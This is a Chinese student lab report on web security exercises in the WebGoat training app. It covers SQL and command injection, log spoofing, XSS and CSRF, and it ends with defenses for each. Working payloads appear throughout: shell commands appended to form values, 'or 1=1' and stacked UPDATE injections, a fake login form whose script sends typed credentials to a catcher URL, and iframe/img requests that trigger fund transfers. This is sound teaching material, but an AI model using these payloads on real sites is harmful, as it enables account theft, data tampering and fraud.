• 20174307周俊锴《网络对抗技术》Exp9 Web安全基础


    1.1 基础知识

    SQL注入

    • 原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    XSS

    • 原理:XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。

    CSRF

    • 原理:,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

    二、实验过程

    2.1 实验准备

    • 下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar。

    • 在含有该文件的文件夹那开启命令行,输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat

    • 运行一段时间之后命令行出现Starting ProtocolHandler证明开启成功

    浏览器中输入localhost:8080/WebGoat进入WebGoat登录界面

    输入用户名guest密码guest

    2.SQL注入攻击

    2.2.1 命令注入

    • 在左侧菜单栏中选择Injection Flaws->Command Injection

    • 右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,在复选框中任意一栏的代码(例如第一栏)后添加"& netstat -an & ipconfig"

    2.2.2数字型SQL注入

      在左侧导航栏中,将刚才选中的“Command Injection”换成它下面紧挨着的“Numeric SQL Injection”,然后在新进入的页面中,用和上一步相同的方法呼出网页源码页面,快捷键ctrl+shift+c定位到Select your local weather station后面的复选框,在源代码value="101"处进行修改,在101后添加or 1=1,保存后点击复选框下面的按钮Go!,然后数据库就会执行SQL语句:SELECT * FROM weather_data WHERE station = 101 or 1=1,后面的条件“1=1”是永真的,所以or语句也是永真的,那么SQL语句执行不需要条件,执行后可以无条件查看到数据库中所有城市的天气数据。

    2.2.3日志欺骗

    Numeric SQL Injection的下面找到Log Spoofing。它可以伪造出登录成功和失败的假象。在User Name中填入WebGoat%0d%0aLogin Succeeded for username: 20174307。点击Login按钮,观察到以下结果。

    2.2.4 字符串型注入

    字符串SQL注入攻击对任何数据库驱动的站点都构成了严重威胁。 攻击背后的方法很容易学习,所造成的损害可能从相当大的损害到整个系统的损害。 尽管存在这些风险,但Internet上数量惊人的系统仍容易受到这种形式的攻击。它不仅容易引发威胁,而且只要一点常识和前瞻性,就可以轻松地避免这种威胁。

    基于SELECT * FROM user_data WHERE last_name = '?'查询语句构造自己的SQL注入字符串,姓名框输入Smith' or 1=1--,执行后可以看到所有人的卡号等信息:

    2.2.5 数据库后门

    使用字符串SQL注入执行多个SQL语句,使用易受攻击的字段创建两个SQL语句,第一个是系统的,第二个是自己定义的。首先输入101查看现有的信息

    可以看到现在的薪水是55000,接下来我们使用101; update employee set salary=100000,执行两条语句,第一条用于查看信息,后面的update则将薪水更新为100000

    3. XSS攻击

    2.3.1 Phishing with XSS

    原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁

    目标: 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

    操作:在搜索框输入如下代码

    </form>

    <script>

    function hack(){

    XSSImage=new Image;

    XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);

    }

    </script>

    <form name="phish">

    <br>

    <br>

    <HR>

    <H3>This feature requires account login:</H3 >

    <br>

    <br>Enter Username:<br>

    <input type="text" name="user"><br>

    Enter Password:<br>

    <input type="password" name = "pass"><br>

    <input type="submit" name="login" value="login" onclick="hack()">

    </form>

    <br>

    <br>

    <HR>

    编写好表单代码,在搜索框输入代码,页面增加一个表单:

    输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

     

    2.3.2 Stored XSS Attacks

    存储型XSS攻击常见于论坛等留言平台,用户留言的时使用JavaScript脚本作为留言内容,这段脚本就保存在数据库中。任何用户在打开网页时该脚本自动运行,达到写入非法的消息内容,从而导致其他用户访问时载入非预期的页面或内容的目的。

    title中随意输入,留言板中输入<script>alert("I'm 20174307!");</script>,提交后如下:

    2.3.3 Reflected XSS Attacks

    原理:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击

    目标:攻击当前页面

    操作:输入 <script>alert("20174307!");</script> ,点击Purchase

    4.CSRF攻击

    2.4.1 Cross Site Request Forgery

    目标:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。

    操作:网页提示Parameters中的src为279,menu为900,在Message中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=5000" width="1" height="1" />,以图片形式将URL放入Message框中,用户点击图片就会触发CSRF事件,点击Submit提交

    在Message List中生成以Title命名的链接,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的

    2.4.2 CSRF Prompt By-Pass

    查看Parameters中的scr=328menu=900

    在消息栏中输入

    <iframe src="attack?Screen=328&menu=900&transferFunds=4307"> </iframe>

    <iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>

    点击Submit生成以Title命名的链接,点击链接攻击成功。

    三、实验总结

    3.1 基础知识回答

    (1)SQL注入攻击原理,如何防御

    • 原理:
      • 应用程序会将输入带入后台的SQL查询语句,后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果
    • 防御:
      • 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
      • 摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。

    (2)XSS攻击的原理,如何防御

    • 原理:
      • 攻击者往Web页面里插入恶意html标签或者javascript代码,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
    • 防御:
      • 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
      • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

    (3)CSRF攻击原理,如何防御

      • 原理:
        • CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
          -主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
      • 防御:
        • 验证referer:因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断referer头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击;
        • 使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
        • 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击;
        • 避免全站通用的cookie,严格设置cookie的域;
        • 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作。

    3.2 实验感受

            这次做的是Web安全基础,主要包含SQL注入攻击、XSS攻击和CSRF攻击,主要参考学姐的博客完成。实验主要是在WebGoat平台完成的,这个平台很稳定,功能强大,每个攻击的介绍也很清晰。因此,本次实验没有遇到很大的问题。最大的问题可能是GitHub限速的问题。WebGoat下载很慢费了很长时间,这个不知道有什么好的解决方法。
           通过本次实验,我实践并掌握了多种SQL注入攻击、XSS攻击和CSRF攻击技术,我接触到了更多的不同实际情况下的各种对web的攻击,使我对网络攻击的方法和原理有了更深层次的理解。在这个实践的过程中我也感受了很多现实情况下对漏洞的侵害,提高了我对网络风险的认识。

  • 相关阅读:
    streamsets 集成 cratedb 测试
    streamsets k8s 部署试用
    streamsets rest api 转换 graphql
    StreamSets sdc rpc 测试
    StreamSets 相关文章
    StreamSets 多线程 Pipelines
    StreamSets SDC RPC Pipelines说明
    StreamSets 管理 SDC Edge上的pipeline
    StreamSets 部署 Pipelines 到 SDC Edge
    StreamSets 设计Edge pipeline
  • 原文地址:https://www.cnblogs.com/zhoujunkai/p/12974236.html
Copyright © 2020-2023  润新知